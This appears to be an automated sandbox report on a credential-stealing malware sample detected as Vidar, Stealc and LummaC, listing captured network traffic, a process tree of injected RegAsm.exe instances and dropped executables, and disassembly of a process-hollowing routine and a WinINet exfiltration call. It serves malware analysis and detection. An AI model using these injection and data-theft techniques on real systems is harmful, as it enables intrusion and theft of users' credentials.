2024-09-15 17:37:51 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ecde24on95fe7t7qhe6e5poi90; expires=Thu, 09 Jan 2025 11:24:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eSNfmYtPwoZUp0gPJYBaBKZ%2F7lY%2BfkHIiPdnE066fbxz3HpN2sI%2BfGatQOkRnW6NYRk%2FIJDru%2FEa3GzLJ5sUBztO%2Btv7stfE3Wjm9V4Y9LHDqpJkR7ZhYTaximLWESO%2BRgyUpoU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c3a63184d6443cd-EWR alt-svc: h3=":443"; ma=86400
2024-09-15 17:37:51 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-15 17:37:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49766	23.50.98.133	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:52 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-15 17:37:52 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 15 Sep 2024 17:37:52 GMT Content-Length: 34678 Connection: close Set-Cookie: sessionid=de7b2b6c5825eac513f41667; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-15 17:37:52 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-15 17:37:53 UTC	10062	IN	Data Raw: 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f Data Ascii: ss': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_actio
2024-09-15 17:37:53 UTC	10102	IN	Data Raw: 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 61 73 73 65 74 73 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 50 55 42 4c 49 43 5f 53 48 41 52 45 44 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6f 6d 6d 75 6e 69 74 Data Ascii: t;,"COMMUNITY_CDN_ASSET_URL":"https:\/\/cdn.akamai.steamstatic.com\/steamcommunity\/public\/assets\/","STORE_CDN_URL":"https:\/\/store.akamai.steamstatic.com\/","PUBLIC_SHARED_URL":"https:\/\/communit

Target ID:	0
Start time:	13:36:34
Start date:	15/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe"
Imagebase:	0x8a0000
File size:	290'344 bytes
MD5 hash:	84B2300AB93EB2FD79533BBFCBBBF593
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:36:34
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:36:34
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x650000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:36:34
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:37:32
Start date:	15/09/2024
Path:	C:\ProgramData\DGHIDAFCGI.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\DGHIDAFCGI.exe"
Imagebase:	0xf60000
File size:	212'008 bytes
MD5 hash:	CD6646D9EDDB6ED8900B5BD9DA0597F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:37:32
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:37:33
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x970000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCGCFCBAKKF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Users\userCGCFCBAKKF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userCGCFCBAKKF.exe"
Imagebase:	0xbc0000
File size:	329'256 bytes
MD5 hash:	5831EBCED7B72207603126ED67601C28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x3d0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x230000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x380000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:37:44
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xcc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000014.00000002.2910244099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:37:45
Start date:	15/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAAAKJKJEB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:37:45
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:37:45
Start date:	15/09/2024
Path:	C:\Users\userAAAAKJKJEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userAAAAKJKJEB.exe"
Imagebase:	0xca0000
File size:	290'344 bytes
MD5 hash:	449D3F0970FC9CD91A8F4BEA664A0CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000017.00000002.2856072022.000000000401E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:37:45
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	13:37:45
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:37:45
Start date:	15/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x720000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001A.00000002.4586314572.0000000000439000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	40.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	26.5%
Total number of Nodes:	49
Total number of Limit Nodes:	6

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02C721D1 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02C72143,02C72133), ref: 02C72340
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02C72353
Wow64GetThreadContext.KERNEL32(00000324,00000000), ref: 02C72371
ReadProcessMemory.KERNELBASE(00000320,?,02C72187,00000004,00000000), ref: 02C72395
VirtualAllocEx.KERNELBASE(00000320,?,?,00003000,00000040), ref: 02C723C0
TerminateProcess.KERNELBASE(00000320,00000000), ref: 02C723DF
WriteProcessMemory.KERNELBASE(00000320,00000000,?,?,00000000,?), ref: 02C72418
WriteProcessMemory.KERNELBASE(00000320,00400000,?,?,00000000,?,00000028), ref: 02C72463
WriteProcessMemory.KERNELBASE(00000320,?,?,00000004,00000000), ref: 02C724A1
Wow64SetThreadContext.KERNEL32(00000324,050F0000), ref: 02C724DD
ResumeThread.KERNELBASE(00000324), ref: 02C724EC

Strings

ress, xrefs: 02C7225B
ResumeThread, xrefs: 02C7230D
aryA, xrefs: 02C72217
VirtualAllocEx, xrefs: 02C722D1
GetP, xrefs: 02C72253
ReadProcessMemory, xrefs: 02C722BE
Load, xrefs: 02C7220F
VirtualAlloc, xrefs: 02C72298
TerminateProcess, xrefs: 02C723CF
SetThreadContext, xrefs: 02C722F7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02C7233F
CreateProcessA, xrefs: 02C72285
GetThreadContext, xrefs: 02C722AB
WriteProcessMemory, xrefs: 02C722E4

Memory Dump Source

Source File: 00000000.00000002.2129929867.0000000002C72000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C72000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c72000_SecuriteInfo.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 54a5e2a913002f84a20ec01ed0f24beecdfa1fa070bcbc26df685fef215e7825
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: C7B1E57260028AAFDB60CF68CC80BDA77A5FF88714F158524EA1CAB341D774FA41CB94

Function 02AE0CA1 Relevance: 1.8, APIs: 1, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03C73590,?,?,?), ref: 02AE1044

Memory Dump Source

Source File: 00000000.00000002.2129802926.0000000002AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ae0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1d449c4f3478d57c0371785ad3720f0a5845bfed00a0dfa4427de326ce61ce3d
Instruction ID: 6d0d9d7d5afb6f1ef6b910ee8613ec766c32b4f27bdc3f28ec194f144469d41f
Opcode Fuzzy Hash: 1d449c4f3478d57c0371785ad3720f0a5845bfed00a0dfa4427de326ce61ce3d
Instruction Fuzzy Hash: BAC18A70A042599FCB01CBA9C980AEDFBF2BF48310F248556E499B7346C774AC52CFA4

Function 02AE0988 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 02AE0A34

Memory Dump Source

Source File: 00000000.00000002.2129802926.0000000002AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ae0000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWindow
String ID: d
API String ID: 2863861424-2564639436
Opcode ID: 0ce4ceff61bebbf942541813e3b39cf9d6642d451c67fbf8f2f944314a4651b5
Instruction ID: edbbdf9b29f15a800ac9a9f3e9b678cc160c2845dde8551c41805db5b229c509
Opcode Fuzzy Hash: 0ce4ceff61bebbf942541813e3b39cf9d6642d451c67fbf8f2f944314a4651b5
Instruction Fuzzy Hash: 52619F35A002049FCB10EFA9D884B9EBBF2FF88314F11C569D55AAB250DB75AC42CF94

Function 02AE05A8 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03C73590,?,?,?), ref: 02AE1044

Memory Dump Source

Source File: 00000000.00000002.2129802926.0000000002AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ae0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6d71d65d5b69906be4f5329eca55679513509c99e83d4a40a088424ff990fece
Instruction ID: 9f0bbf8da628b78ed880b42c46b155603c45f167afc42e2846163b5a2763d2fb
Opcode Fuzzy Hash: 6d71d65d5b69906be4f5329eca55679513509c99e83d4a40a088424ff990fece
Instruction Fuzzy Hash: 3C21EDB1901259EFCF10DF9AD884ADEFBB4FB48710F10812AE918A7250D375A964CFA5

Function 02AE0590 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 02AE0BB4

Memory Dump Source

Source File: 00000000.00000002.2129802926.0000000002AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ae0000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 4480505ab57287119760d4f097394941616a6d30216b3fdd40b4417fec1cf296
Instruction ID: 45ad8fd88c7be9fbe07c463daa55a89c7ad46fda3723666bf65fd6905d5e1f15
Opcode Fuzzy Hash: 4480505ab57287119760d4f097394941616a6d30216b3fdd40b4417fec1cf296
Instruction Fuzzy Hash: E61110B09007498FDB20DF9AC484B9EBBF8FB48314F208459D659B7350D778A944CFA1

Analysis Process: RegAsm.exePID: 420, Parent PID: 3652COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	8.8%
Signature Coverage:	5.2%
Total number of Nodes:	615
Total number of Limit Nodes:	44

Executed Functions

Function 00406000 Relevance: 45.9, APIs: 16, Strings: 10, Instructions: 411
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406180
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061C4
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004061F2
lstrlen.KERNEL32(?,",mode,0043687C,------,00436870,4b4d1b9e209e656d32d6b94f658903b1,",build_id,00436858,------,0043684C,",00436840,------), ref: 004065EF
lstrlen.KERNEL32(?), ref: 004065FE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406609
RtlAllocateHeap.NTDLL(00000000), ref: 00406610
lstrlen.KERNEL32(?), ref: 0040661D
lstrlen.KERNEL32(?), ref: 00406639
lstrlen.KERNEL32(?,?,00000000), ref: 00406647
lstrlen.KERNEL32(?,?,00000000), ref: 00406669
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406677
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066D4
InternetCloseHandle.WININET(00000000), ref: 004066DF
InternetCloseHandle.WININET(?), ref: 004066EB
InternetCloseHandle.WININET(?), ref: 004066F7

Strings

", xrefs: 00406593
------, xrefs: 00406072
4b4d1b9e209e656d32d6b94f658903b1, xrefs: 00406463
------, xrefs: 004064BB
mode, xrefs: 00406567
------, xrefs: 00406359
------, xrefs: 004061F8
", xrefs: 00406437
build_id, xrefs: 0040640B
", xrefs: 004062D7

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
